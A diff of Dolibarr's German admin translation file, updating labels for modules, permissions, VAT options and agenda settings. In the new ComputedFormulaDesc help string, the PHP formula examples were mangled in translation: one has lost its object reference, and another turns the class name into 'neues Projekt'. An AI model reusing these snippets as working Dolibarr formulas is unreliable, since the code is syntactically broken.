      Lesen Sie die Wiki Dokumentation um zu wi FullListOnOnlineDocumentation=https://wiki.dolibarr.org/index.php/Create_an_ODT_document_template FirstnameNamePosition=Reihenfolge von Vor- und Nachname DescWeather=Die folgenden Symbole werden auf der Startseite angezeigt, wenn die entsprechenden Toleranzwerte erreicht werden: -KeyForWebServicesAccess=Schlüssel um Web Services (Parameter "dolibarrkey" in webservices) zu benützen +KeyForWebServicesAccess=Schlüssel um Web Services zu nutzen (Parameter "dolibarrkey" in webservices) TestSubmitForm=Formular Eingabeüberprüfung ThisForceAlsoTheme=Wenn Sie dieses Menü verwenden, verwendet der Manager auch ein eigenes Design, unabhängig von der Wahl des Benutzer. Auch dieser auf Smartphones spezialisierte Menü-Manager funktioniert nicht auf allen Smartphones. Verwenden Sie einen anderen Menü-Manager, wenn Sie Probleme mit Ihrem haben. ThemeDir=Verzeichnis Layout-Vorlagen @@ -413,7 +413,7 @@ PDFRulesForSalesTax=Regeln für Umsatzsteuer/MwSt. PDFLocaltax=Regeln für %s HideLocalTaxOnPDF=Steuersatz %s in der Spalte Verkauf Steuer/MwSt. ausblenden HideDescOnPDF=Produktbeschreibung ausblenden -HideRefOnPDF=Artikelnummer nicht anzeigen +HideRefOnPDF=Produkt-Ref.Nr. ausblenden HideDetailsOnPDF=Details in den Produktpositionen ausblenden PlaceCustomerAddressToIsoLocation=Benutze Standardposition in Frankreich (La Poste) für Position der Kundenadresse Library=Bibliothek @@ -439,18 +439,20 @@ Unique=Einmalig Boolean=Boolean (ein Kontrollkästchen) ExtrafieldPhone = Telefon ExtrafieldPrice = Preis (Feld mit automatisch angehängtem Währungszeichen) +ExtrafieldPriceWithCurrency=Preis mit Währung ExtrafieldMail = E-Mail (Feld mit automatischer E-Mail-Syntaxprüfung) ExtrafieldUrl = URL (Benutzereingabe wird automatisch zum Hyperlink) +ExtrafieldIP = IP ExtrafieldSelect = Dropdownliste (nur eine Option auswählbar) ExtrafieldSelectList = Dropdownliste aus DB-Tabelle (nur eine Option auswählbar) ExtrafieldSeparator=Trennzeichen (kein Feld) ExtrafieldPassword=Passwort-Feld ExtrafieldRadio=Radiobuttons (nur eine Option auswählbar) ExtrafieldCheckBox=Kontrollkästchen / Dropdownliste (mehrere Optionen auswählbar) -ExtrafieldCheckBoxFromList=Kontrollkästchen / Dropdownliste aus DB-Tabelle (mehrere Optionen auswählbar) +ExtrafieldCheckBoxFromList=Kontrollkästchen/Dropdownliste aus DB-Tabelle (mehrere Optionen auswählbar) ExtrafieldLink=Verknüpftes Objekt ComputedFormula=Berechnetes Feld -ComputedFormulaDesc=Sie können hier eine Formel mit anderen Eigenschaften des Objekts oder beliebigen PHP-Code eingeben, um einen dynamisch berechneten Wert zu erhalten. Sie können alle PHP-kompatiblen Formeln verwenden, einschließlich dem "?"-Bedingungsoperator und die folgenden globalen Objekte: $db, $conf, $langs, $mysoc, $user, $object.
      WARNUNG: Möglicherweise sind nur einige Eigenschaften von $object verfügbar. Wenn Sie Eigenschaften benötigen, die nicht geladen sind, holen Sie sich das Objekt einfach wie im zweiten Beispiel in Ihre Formel.
      Wenn Sie ein berechnetes Feld verwenden, können Sie keinen Wert über die Benutzerschnittstelle eingeben. Wenn ein Syntaxfehler vorliegt, gibt die Formel möglicherweise nichts zurück.

      Beispiel für eine Formel:
      $object-> id < 10 ? round($object-> id/2, 2): ($object-> id + 2 * $user-> id) * (int) substr ($mysoc-> zip, 1, 2 )

      Beispiel für das Laden eines Objekts:
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Anderes Beispiel für eine Formel zum Laden des Objekts und seines übergeordneten Objekts:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=Sie können hier eine Formel eingeben, die andere Eigenschaften des Objekts oder beliebigen PHP-Code verwendet, um einen dynamisch berechneten Wert zu erhalten. Sie können alle PHP-kompatiblen Formeln verwenden, einschließlich des "?" Bedingungsoperators und folgende globalen Objekte: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNUNG : Wenn Sie Eigenschaften eines nicht geladenen Objekts benötigen, holen Sie sich das Objekt einfach selbst in Ihre Formel wie im zweiten Beispiel.
      Die Verwendung eines berechneten Felds bedeutet, dass Sie selbst keinen Wert über die Schnittstelle eingeben können. Auch wenn ein Syntaxfehler vorliegt, gibt die Formel möglicherweise nichts zurück.

      Formelbeispiel:
      $objectoffield->id < 10 ? round($objectoffield-> id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2 )

      Beispiel zum erneuten Laden des Objekts
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? ->capital / 5: '-1')

      Anderes Beispiel für eine Formel, um das Laden des Objekts und seines übergeordneten Objekts zu erzwingen:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield ->id) > 0) && ($secondloadedobj = neues Projekt($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Übergeordnetes Projekt nicht gefunden' Computedpersistent=Berechnetes Feld speichern ComputedpersistentDesc=Berechnete Extrafelder werden in der Datenbank gespeichert, dennoch wird ihr Wert nur dann neu berechnet wenn sich das Objekt zu diesem Feld ändert. Falls das berechnete Feld von anderen Objekten oder globalen Daten abhängt, kann sein Wert falsch sein! ExtrafieldParamHelpPassword=Wenn Sie dieses Feld leer lassen, wird dieser Wert unverschlüsselt gespeichert (das Feld darf nur mit einem Stern auf dem Bildschirm ausgeblendet werden).
      Stellen Sie 'auto'; ein, um die Standardverschlüsselungsregel zum Speichern des Kennworts in der Datenbank zu verwenden (dann ist der gelesene Wert nur der Hash, keine Möglichkeit, den ursprünglichen Wert abzurufen). @@ -501,7 +503,8 @@ WarningPHPMail=WARNUNG: Das Setup zum Senden von E-Mails aus der Anwendung verwe WarningPHPMailA=- Die Verwendung des Servers des E-Mail-Dienstanbieters erhöht die Vertrauenswürdigkeit Ihrer E-Mail, sodass die Zustellbarkeit erhöht wird, ohne als SPAM gekennzeichnet zu werden WarningPHPMailB=- Bei einigen E-Mail-Dienstanbietern (wie Yahoo) können Sie keine E-Mails von einem anderen Server als deren eigenen Server senden. Ihr aktuelles Setup verwendet den Server der Anwendung zum Senden von E-Mails und nicht den Server Ihres E-Mail-Anbieters. Einige Empfänger (die mit dem restriktiven DMARC-Protokoll kompatibel sind) fragen Ihren E-Mail-Anbieter, ob sie Ihre E-Mail und einige E-Mail-Anbieter akzeptieren können (wie Yahoo) antwortet möglicherweise mit "Nein", da der Server nicht ihnen gehört. Daher werden möglicherweise einige Ihrer gesendeten E-Mails nicht zur Zustellung angenommen (achten Sie auch auf das Sendekontingent Ihres E-Mail-Anbieters). WarningPHPMailC=- Interessant ist auch die Verwendung des SMTP-Servers Ihres eigenen E-Mail-Dienstanbieters zum Senden von E-Mails, sodass alle von der Anwendung gesendeten E-Mails auch in dem Verzeichnis "Gesendet" Ihrer Mailbox gespeichert werden. -WarningPHPMailD=Es wird empfohlen, die Versandart von E-Mails auf den Wert „SMTP“ zu ändern. Wenn Sie wirklich die Standardmethode "PHP" zum Senden von E-Mails beibehalten möchten, ignorieren Sie diese Warnung oder deaktivierten Sie sie, indem Sie die Konstante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP in Start - Einstellungen - Erweiterte Einstellungen auf 1 setzen. +WarningPHPMailD=Es wird daher empfohlen, die Versandart von E-Mails auf den Wert „SMTP“ zu ändern. +WarningPHPMailDbis=Wenn Sie wirklich die standardmäßige "PHP"-Methode zum Senden von E-Mails beibehalten möchten, ignorieren Sie einfach diese Warnung oder entfernen Sie sie, indem Sie %shier klicken%s. WarningPHPMail2=Wenn Ihr E-Mail-SMTP-Anbieter den E-Mail-Client auf einige IP-Adressen beschränken muss (sehr selten), dann ist dies die IP-Adresse des Mail User Agent (MUA) für ihr Dolibarr-System: %s. WarningPHPMailSPF=Wenn die Domain in Ihrer Absender-E-Mail-Adresse durch einen SPF-Eintrag geschützt ist (beim Domain-Registrar zu erfragen), müssen dem SPF-Eintrag im DNS Ihrer Domain die folgenden IP-Adressen hinzugefügt werden: %s . ActualMailSPFRecordFound=Tatsächlicher SPF-Eintrag gefunden (für E-Mail %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Beispiel:
      Das Formular zum Erstellen ein PageUrlForDefaultValuesList=
      Beispiel:
      Auf der Seite, auf der Geschäftspartner aufgelistet sind, ist %s.
      Geben Sie für die URL der externen Module, die im benutzerdefinierten Verzeichnis installiert sind, nicht "custom/" an. Verwenden Sie daher a Pfad wie mymodule/mypagelist.php und nicht custom/mymodule/mypagelist.php.
      Wenn Sie nur dann einen Standardwert wünschen, wenn die URL einen Parameter hat, können Sie %s verwenden AlsoDefaultValuesAreEffectiveForActionCreate=Beachten Sie auch, dass das Überschreiben von Standardwerten für die Formularerstellung nur für Seiten funktioniert, die korrekt gestaltet wurden (also mit dem Parameter action = create or presend ...). EnableDefaultValues=Anpassung der Standardwerte ermöglichen -EnableOverwriteTranslation=Verwendung der eigenen Übersetzung aktivieren +EnableOverwriteTranslation=Anpassung von Übersetzungen zulassen GoIntoTranslationMenuToChangeThis=Für den Schlüssel mit diesem Code wurde eine Übersetzung gefunden. Um diesen Wert zu ändern, müssen Sie ihn in der Home-Setup-Übersetzung bearbeiten. WarningSettingSortOrder=Warnung: Änderung an der Standardsortierreihenfolge können zu Fehlern führen, falls das betreffende Feld nicht vohanden ist. Falls dies passiert, entfernen sie das betreffende Feld oder stellen die den Defaultwert wieder her. Field=Feld @@ -641,13 +644,15 @@ Module2200Name=Dynamische Preise Module2200Desc=Verwenden Sie mathematische Ausdrücke für die automatische Generierung von Preisen. Module2300Name=Geplante Aufgaben Module2300Desc=Verwaltung geplanter Aufgaben (Cron oder chrono Tabelle) -Module2400Name=Ereignisse/Termine +Module2400Name=Agenda (Ereignisse/Termine) Module2400Desc=Modul zur Terminplanung und Ereignissaufzeichnung: Protokollieren Sie automatisch Ereignisse wie beispielsweise Änderungen an Produktdatensätzen zu Verfolgungszwecken oder tragen Sie Termine manuell ein.\nDies ist ein wichtiges Modul für ein gutes Kunden- und/oder Lieferantenbeziehungsmanagement. +Module2430Name=Kalender-Buchungssystem +Module2430Desc=Stellen Sie einen Online-Kalender bereit, damit jeder Besprechungen in vordefinierten Bereichen oder Verfügbarkeiten buchen kann. Module2500Name=DMS/ECM Module2500Desc=Speicherung und Verteilung von Dokumenten. Automatische organisation der generierten oder gespeicherten Dokumente. Teilen Sie sie bei Bedarf. Module2600Name=API/Webservice (SOAP Server) Module2600Desc=Aktivieren Sie Dolibarr SOAP Server, unterstütztes API-Service. -Module2610Name=API/Web Services (REST Server) +Module2610Name=API/Webservices (REST Server) Module2610Desc=Aktiviere der Dolibarr REST Serverdienst Module2660Name=WebServices aufrufen (SOAP Client) Module2660Desc=Aktivieren des Dolibarr-Webdienst-Clients \n(Kann verwendet werden, um Daten / Anforderungen an externe Server zu senden. Derzeit werden nur Bestellungen unterstützt.) @@ -658,8 +663,10 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind Konvertierung Module3200Name=Unveränderliche Archive Module3200Desc=Aktivieren Sie ein unveränderliches Protokoll von Geschäftsereignissen. Ereignisse werden in Echtzeit archiviert. Das Protokoll ist eine schreibgeschützte Tabelle mit verketteten Ereignissen, die exportiert werden können. Dieses Modul kann für einige Länder zwingend erforderlich sein. +Module3300Name=Module-Builder +Module3300Desc=Ein RAD-Tool (Rapid Application Development – Low-Code und No-Code), das Entwicklern oder fortgeschrittenen Benutzern hilft, ihre eigenen Module/Anwendungen zu erstellen. Module3400Name=Soziale Netzwerke -Module3400Desc=Aktiviert Felder für soziale Netzwerke für Dritte und Adressen (Skype, Twitter, Facebook, ...). +Module3400Desc=Aktiviert Felder für soziale Netzwerke für Geschäftspartner und Kontakte (Skype, Twitter, Facebook, ...). Module4000Name=Personal Module4000Desc=Personalverwaltung Module5000Name=Mandantenfähigkeit @@ -697,8 +704,11 @@ Module60000Desc=Modul zur Verwaltung von Kommissionen Module62000Name=Incoterms Module62000Desc=Funktionen zum Verwalten von Incoterms hinzufügen Module63000Name=Ressourcen -Module63000Desc=Verwalten Sie Ressourcen (Drucker, Autos, Räume, ...) für zugeordnete Ereignisse -Permission11=Rechnungen einsehen +Module63000Desc=Verwaltung von Ressourcen (Drucker, Autos, Räume, ...) für zugeordnete Ereignisse +Module66000Name=OAuth2-Authentifizierung aktivieren +Module66000Desc=Stellt ein Tool zum Generieren und Verwalten von OAuth2-Token bereit. Der Token kann dann von einigen anderen Modulen verwendet werden. +Module94160Name=Wareneingänge +Permission11=Kundenrechnungen (und Zahlungen) einsehen Permission12=Rechnungen erstellen/bearbeiten Permission13=Ungültige Kundenrechnungen Permission14=Rechnungen freigeben @@ -842,9 +852,9 @@ Permission286=Kontakte exportieren Permission291=Tarife einsehen Permission292=Berechtigungen der Tarife einstellen Permission293=Kundentarife ändern -Permission300=Barcodes anzeigen -Permission301=Barcodes erstellen/bearbeiten -Permission302=Barcodes löschen +Permission301=PDF-Seiten mit Barcodes generieren +Permission304=Barcodes erstellen/bearbeiten +Permission305=Barcodes löschen Permission311=Leistungen einsehen Permission312=Leistung/Abonnement einem Vertrag zuordnen Permission331=Lesezeichen anzeigen @@ -907,7 +917,7 @@ Permission776=Spesenabrechnung bezahlen Permission777=Alle Spesenabrechnungen einsehen (auch die von nicht unterstellten Mitarbeitern) Permission778=Spesenabrechnungen aller erstellen/bearbeiten Permission779=Spesenabrechnung exportieren -Permission1001=Warenbestände einsehen +Permission1001=Lagerbestände einsehen Permission1002=Warenlager erstellen/bearbeiten Permission1003=Warenlager löschen Permission1004=Lagerbewegungen einsehen @@ -940,7 +950,7 @@ Permission1190=Lieferantenbestellungen bestätigen (zweite Bestätigung) Permission1191=Exportieren Sie Lieferantenaufträge und deren Attribute Permission1201=Exportresultate einsehen Permission1202=Export erstellen/bearbeiten -Permission1231=Lieferantenrechnungen einsehen +Permission1231=Lieferantenrechnungen (und Zahlungen) einsehen Permission1232=Lieferantenrechnungen (Eingangsrechnungen) erstellen/bearbeiten Permission1233=Lieferantenrechnungen freigeben Permission1234=Lieferantenrechnungen löschen @@ -962,22 +972,23 @@ Permission2413=Ereignisse (Termine/Aufgaben) Anderer löschen Permission2414=Ereignisse (Termine/Aufgaben) Anderer exportieren Permission2501=Dokumente herunterladen oder einsehen Permission2502=Dokumente herunterladen -Permission2503=Dokumente bestätigen oder löschen +Permission2503=Dokumente hochladen oder löschen Permission2515=Dokumentverzeichnisse verwalten Permission2801=FTP-Client im Lesemodus nutzen (nur ansehen und herunterladen) Permission2802=FTP-Client im Schreibmodus nutzen (Dateien löschen oder hochladen) Permission3200=Eingetragene Ereignisse und Fingerprints lesen Permission3301=Neues Module erstellen -Permission4001=Kompetenz/Job/Position einsehen -Permission4002=Kompetenz/Job/Position erstellen/bearbeiten -Permission4003=Kompetenz/Job/Position löschen -Permission4020=Bewertungen einsehen -Permission4021=Erstellen/bearbeiten Sie Ihre Bewertung -Permission4022=Bewertung freigeben -Permission4023=Bewertung löschen -Permission4030=Siehe Vergleichsmenü +Permission4001=Kompetenz/Stelle/Position einsehen +Permission4002=Kompetenz/Stelle/Position erstellen/bearbeiten +Permission4003=Kompetenz/Stelle/Position löschen +Permission4021=Bewertungen einsehen (Ihre und die Ihrer Untergebenen) +Permission4022=Bewertungen erstellen/ändern +Permission4023=Bewertung freigeben +Permission4025=Bewertung löschen +Permission4028=Siehe Vergleichsmenü Permission4031=Persönliche Daten einsehen Permission4032=Persönliche Daten schreiben +Permission4033=Alle Bewertungen einsehen (auch die von nicht unterstellten Benutzern) Permission10001=Website-Inhalt einsehen Permission10002=Erstelle/Bearbeite Website-Inhalte (HTML und JavaScript) Permission10003=Erstelle/Bearbeite Website-Inhalte (dynamischer PHP-Code). Gefährlich, dies muss auf ausgewählte Entwickler beschränkt werden. @@ -1059,11 +1070,11 @@ DictionaryFormatCards=Kartenformate DictionaryFees=Spesenabrechnung - Arten von Spesenpositionen DictionarySendingMethods=Versandarten DictionaryStaff=Anzahl der Beschäftigten -DictionaryAvailability=Lieferverzug +DictionaryAvailability=Lieferdauer DictionaryOrderMethods=Bestellmethoden DictionarySource=Quelle der Angebote/Aufträge DictionaryAccountancyCategory=Benutzerdefinierte Gruppen für Berichte -DictionaryAccountancysystem=Kontenplan-Modelle +DictionaryAccountancysystem=Kontenplan-Vorlagen DictionaryAccountancyJournal=Buchhaltungsjournale DictionaryEMailTemplates=E-Mail-Vorlagen DictionaryUnits=Einheiten @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Art der Veräußerung von Vermögenswerten TypeOfUnit=Art der Einheit SetupSaved=Einstellungen gespeichert SetupNotSaved=Einstellungen nicht gespeichert +OAuthServiceConfirmDeleteTitle=OAuth-Eintrag löschen +OAuthServiceConfirmDeleteMessage=Möchten Sie diesen OAuth-Eintrag wirklich löschen? Alle vorhandenen Tokens dafür werden ebenfalls gelöscht. +ErrorInEntryDeletion=Fehler beim Löschen des Eintrags +EntryDeleted=Eintrag gelöscht BackToModuleList=Zurück zur Modulübersicht BackToDictionaryList=Zurück zur Stammdaten-Übersicht TypeOfRevenueStamp=Art der Steuermarke @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      Diese Software ist eine SetupDescription5=Andere Setup-Menüs verwalten optionale Parameter. SetupDescriptionLink= %s - %s SetupDescription3b=Grundlegende Parameter, um das Standardverhalten Ihrer Anwendung anzupassen (z. B. für länderbezogene Funktionen). -SetupDescription4b=Diese Software umfasst zahlreiche Module/Anwendungen. Die für Ihre Anforderungen erforderlichen Module müssen aktiviert und konfiguriert werden. Nach der Aktivierung dieser Module erscheinen entsprechende zusätzliche Menüeinträge. +SetupDescription4b=Diese Software ist eine Suite aus vielen Modulen/Anwendungen. Die für Sie relevanten Module müssen aktiviert werden. Mit der Aktivierung dieser Module erscheinen entsprechende Menüeinträge. AuditedSecurityEvents=Sicherheitsereignisse, die überwacht werden NoSecurityEventsAreAduited=Es werden keine Sicherheitsereignisse überwacht. Sie können sie über das Menü %s aktivieren Audit=Sicherheitsrelevante Ereignisse @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Einstellungen können nur durch
      Administratoren
      veränd SystemInfoDesc=Verschiedene systemrelevante, technische Informationen - Lesemodus und nur für Administratoren sichtbar. SystemAreaForAdminOnly=Dieser Bereich steht ausschließlich Administratoren zur Verfügung. Keine der Benutzerberechtigungen kann dies ändern. CompanyFundationDesc=Bearbeiten Sie die Informationen Ihres Unternehmens / Ihrer Organisation. Klicken Sie unten auf der Seite auf die Schaltfläche "%s", wenn Sie fertig sind. +MoreNetworksAvailableWithModule=Weitere soziale Netzwerke sind verfügbar, indem Sie das Modul "Soziale Netzwerke" aktivieren. AccountantDesc=Falls Sie einen externen Buchhalter/Treuhänder haben, können Sie hier dessen Informationen hinterlegen. AccountantFileNumber=Buchhalter-Code DisplayDesc=Hier können Parameter geändert werden, die das Aussehen und die Darstellung der Anwendung beeinflussen. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Trigger in dieser Datei sind durch das übergeordnet GeneratedPasswordDesc=Wählen Sie die Methode für automatisch erzeugte Passwörter. DictionaryDesc=Alle Standardwerte einfügen. Sie können eigene Werte zu den Standartwerten hinzufügen. ConstDesc=Auf dieser Seite können Sie Parameter bearbeiten (überschreiben), die auf anderen Seiten nicht verfügbar sind. Diese Funktion ist für Entwickler und/oder die fortgeschrittene Fehlerbehebung vorgesehen. +MiscellaneousOptions=Verschiedene Optionen MiscellaneousDesc=Alle anderen sicherheitsrelevanten Parameter werden hier eingestellt. LimitsSetup=Einstellungen zu Dezimalstellen und Rundung LimitsDesc=Hier können Sie die von Dolibarr verwendeten Grenzwerte, Genauigkeiten und Optimierungen definieren @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Diesen Befehl müssen Sie auf d YourPHPDoesNotHaveSSLSupport=Ihre PHP-Konfiguration unterstützt keine SSL-Verschlüsselung DownloadMoreSkins=Weitere grafische Oberflächen herunterladen SimpleNumRefModelDesc=Gibt die Referenznummer im Format %syymm-nnnn zurück, wobei yy das Jahr, mm der Monat und nnnn eine fortlaufende automatisch inkrementierende Nummer ohne Zurücksetzen ist +SimpleRefNumRefModelDesc=Gibt die Referenznummer im Format n zurück, wobei n eine fortlaufende, automatisch inkrementierende Zahl ohne Zurücksetzen ist +AdvancedNumRefModelDesc=Gibt die Referenznummer im Format %syymm-nnnn zurück, wobei yy das Jahr, mm der Monat und nnnn eine fortlaufende automatisch inkrementierende Nummer ohne Zurücksetzen ist SimpleNumRefNoDateModelDesc=Gibt die Referenznummer im Format %s-nnnn zurück, wobei nnnn eine fortlaufende automatisch inkrementierende Nummer ohne Zurücksetzen ist ShowProfIdInAddress=Erweiterte Kundendaten (geschäftliche ID-Nummern) im Adressfeld anzeigen ShowVATIntaInAddress=Umsatzsteuer-ID ausblenden @@ -1380,7 +1399,7 @@ GetBarCode=Übernehmen NumberingModules=Nummerierungsmodelle DocumentModules=Dokumentvorlagen ##### Module password generation -PasswordGenerationStandard=Gibt ein Kennwort zurück, das gemäß dem internen Dolibarr-Algorithmus generiert wurde: %s Zeichen, die gemeinsam genutzte Zahlen und Zeichen in Kleinbuchstaben enthalten. +PasswordGenerationStandard=Erzeugt ein Passwort, das gemäß dem internen Dolibarr-Algorithmus generiert wurde: %s-Zeichen, die Ziffern und Buchstaben enthalten. PasswordGenerationNone=Kein generiertes Passwort vorschlagen. Das Passwort muss manuell eingegeben werden. PasswordGenerationPerso=Ein Passwort entsprechend der persönlich definierten Konfiguration zurückgeben. SetupPerso=Nach Ihrer Konfiguration @@ -1434,6 +1453,10 @@ SuppliersPayment=Lieferanten Zahlung SupplierPaymentSetup=Einstellungen für Lieferantenzahlungen InvoiceCheckPosteriorDate=Überprüfen Sie das Rechnungsdatum vor der Validierung InvoiceCheckPosteriorDateHelp=Die Validierung einer Rechnung ist nicht möglich, wenn ihr Datum vor dem Datum der letzten Rechnung des gleichen Typs liegt. +InvoiceOptionCategoryOfOperations=Geben Sie auf der Rechnung einen Vermerk über die Tätigkeitskategorie (Produkte/Leistungen/gemischt) an (erforderlich u.a. in Frankreich). +InvoiceOptionCategoryOfOperationsHelp=Je nach Situation erfolgt die Nennung in der Form:
      - Tätigkeitskategorie: Lieferung von Waren
      - Tätigkeitskategorie: Erbringung von Dienstleistungen
      - Tätigkeitskategorie: Gemischt - Lieferung von Waren & Erbringung von Dienstleistungen +InvoiceOptionCategoryOfOperationsYes1=Ja, unterhalb des Adressfeldes +InvoiceOptionCategoryOfOperationsYes2=Ja, in der unteren linken Ecke ##### Proposals ##### PropalSetup=Einstellungen Modul Angebote ProposalsNumberingModules=Nummernvergabe für Angebote @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Wasserzeichen auf Entwurf (leerlassen, wenn nicht ##### Members ##### MembersSetup=Modul Mitglieder - Einstellungen MemberMainOptions=Haupteinstellungen +MemberCodeChecker=Optionen für die automatische Generierung von Mitgliedsnummern AdherentLoginRequired= Verwalten Sie eine Anmeldung für jedes Mitglied AdherentMailRequired=Für das Anlegen eines neuen Mitglieds ist eine E-Mail-Adresse erforderlich MemberSendInformationByMailByDefault=Das Kontrollkästchen für den automatischen Versand einer E-Mail-Bestätigung an Mitglieder (bei Freigabe oder neuem Abonnement) ist standardmäßig aktiviert MemberCreateAnExternalUserForSubscriptionValidated=Externes Benutzer-Login für jedes validierte neue Mitgliedsabonnement erstellen -VisitorCanChooseItsPaymentMode=Der Besucher kann aus verschiedenen Zahlungsmethoden auswählen +VisitorCanChooseItsPaymentMode=Der Besucher kann aus allen verfügbaren Zahlungsarten wählen MEMBER_REMINDER_EMAIL=Aktivieren Sie die automatische Erinnerung per E-Mail an abgelaufene Abonnements. Hinweis: Das Modul %s muss aktiviert und ordnungsgemäß eingerichtet sein, damit Erinnerungen gesendet werden können. MembersDocModules=Dokumentvorlagen für Dokumente, die aus dem Mitgliedsdatensatz generiert wurden ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=FCKEditor aktivieren für: FCKeditorForNotePublic=WYSIWIG Erstellung/Bearbeitung des Feldes "öffentliche Notizen" von Elementen FCKeditorForNotePrivate=WYSIWIG Erstellung/Bearbeitung des Feldes "private Notizen" von Elementen FCKeditorForCompany=WYSIWYG Erstellung/Bearbeitung der Feldbeschreibung von Elementen (ausgenommen Produkte/Leistungen) -FCKeditorForProduct=WYSIWYG Erstellung/Bearbeitung der Feldbeschreibung Produkte/Leistungen -FCKeditorForProductDetails=WYSIWYG Erstellung/Ausgabe von Produkt-Detailzeilen für alle Dokumente (Angebote, Aufträge, Rechnungen usw.). Warnung: Die Verwendung dieser Option für diesen Fall wird nicht empfohlen, da dies beim Erstellen von PDF-Dateien zu Problemen mit Sonderzeichen und der Seitenformatierung führen kann. +FCKeditorForProductDetails=WYSIWIG Erstellung/Bearbeitung von Produktbeschreibungen oder Zeilen für Objekte (Angebotszeilen, Bestellungen, Rechnungen usw.). +FCKeditorForProductDetails2=Warnung: Von der Verwendung dieser Option für diese Anwendung wird dringend abgeraten, da es beim Erstellen von PDF-Dateien zu Problemen mit Sonderzeichen und der Seitenformatierung kommen kann. FCKeditorForMailing= WYSIWYG Erstellung/Bearbeitung von E-Mails FCKeditorForUserSignature=WYSIWYG Erstellung/Bearbeitung von Benutzer-Signaturen FCKeditorForMail=WYSIWYG-Erstellung/Bearbeitung für alle E-Mails (außer Werkzeuge->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menü-Handler für die Anzeige des neuen Menüs DetailMenuModule=Modulname falls Menüeintrag aus einem Modul stimmt DetailType=Art des Menüs (Top oder Links) DetailTitre=Menü Label oder Label für Übersetzung -DetailUrl=Ziel-URL für Menüeintrag (Absolute URL oder externer Link mit http://) +DetailUrl=Ziel-URL für Menüeintrag (Relative URL oder externer Link mit http://) DetailEnabled=Einstellungen für die Anzeige der Einträge DetailRight=Zustand für die Anzeige nicht-authorisierter, grauer Menüs DetailLangs=Sprachdateiname für Label Übersetzung @@ -1781,17 +1805,17 @@ FailedToInitializeMenu=Menü konnte nicht erstellt werden ##### Tax ##### TaxSetup=Steuer-, Sozialabgaben- und Dividendenmodul-Einstellungen OptionVatMode=USt. fällig -OptionVATDefault=Ist-Versteuerung -OptionVATDebitOption=Soll-Versteuerung -OptionVatDefaultDesc=USt fällig:
      - Bei Lieferung/Zahlung für Waren
      - Bei Zahlung für Leistungen -OptionVatDebitOptionDesc=USt fällig:
      - Bei Lieferung/Zahlung für Waren
      - Bei Rechnungslegung (Lastschrift) für Dienstleistungen -OptionPaymentForProductAndServices=Cash-Basis für Produkte und Leistungen -OptionPaymentForProductAndServicesDesc=USt is fällig:
      - Bei Bezahlung von Waren
      - Bei Bezahlung von Dienstleistungen +OptionVATDefault=Unterschiedliche Versteuerung für Produkte und Leistungen (z.B. in Frankreich) +OptionVATDebitOption=Soll-Versteuerung für Produkte und Leistungen +OptionVatDefaultDesc=USt fällig:
      - zum Rechnungsdatum bei Produkten
      - zum Zahlungsdatum bei Leistungen +OptionVatDebitOptionDesc=USt fällig:
      - zum Rechnungsdatum bei Produkten
      - zum Rechnungsdatum bei Leistungen +OptionPaymentForProductAndServices=Ist-Versteuerung für Produkte und Leistungen +OptionPaymentForProductAndServicesDesc=USt fällig:
      - zum Zahlungsdatum bei Produkten
      - zum Zahlungsdatum bei Leistungen SummaryOfVatExigibilityUsedByDefault=Standardmäßiger Zeitpunkt der USt.-Fälligkeit in Abhängigkeit zur derzeit gewählten Option: OnDelivery=Bei Lieferung OnPayment=Bei Zahlung OnInvoice=Bei Rechnungslegung -SupposedToBePaymentDate=Zahlungsdatum in Verwendung falls Lieferdatum unbekannt +SupposedToBePaymentDate=Zahlungsdatum wird verwendet SupposedToBeInvoiceDate=Rechnungsdatum verwendet Buy=Kaufen Sell=Verkaufen @@ -1802,7 +1826,7 @@ AccountancyCodeSell=Verkaufskonto-Code AccountancyCodeBuy=Einkaufskonto-Code CREATE_NEW_VAT_WITHOUT_AUTO_PAYMENT=Lassen Sie das Kontrollkästchen "Zahlung automatisch erstellen" beim Erstellen einer neuen Steuer standardmäßig leer ##### Agenda ##### -AgendaSetup=Einstellungen Modul Aufgaben/Termine +AgendaSetup=Einstellungen Modul Agenda (Ereignisse/Termine) PasswordTogetVCalExport=Passwort für den VCal-Export SecurityKey = Sicherheitsschlüssel PastDelayVCalExport=Keine Termine exportieren die älter sind als @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Verwenden der Ereignissarten \nEinstellen unter (Start -> AGENDA_USE_EVENT_TYPE_DEFAULT=Diesen Standardwert automatisch als Ereignistyp im Ereignis Erstell-Formular verwenden. AGENDA_DEFAULT_FILTER_TYPE=Diesen Ereignisstatus automatisch in den Suchfilter für die Agenda-Ansicht übernehmen AGENDA_DEFAULT_FILTER_STATUS=Diesen Ereignisstatus automatisch in den Suchfilter für die Agenda-Ansicht übernehmen +AGENDA_EVENT_PAST_COLOR=Farbe für Ereignisse in der Vergangenheit +AGENDA_EVENT_CURRENT_COLOR=Farbe für aktuelle Ereignisse 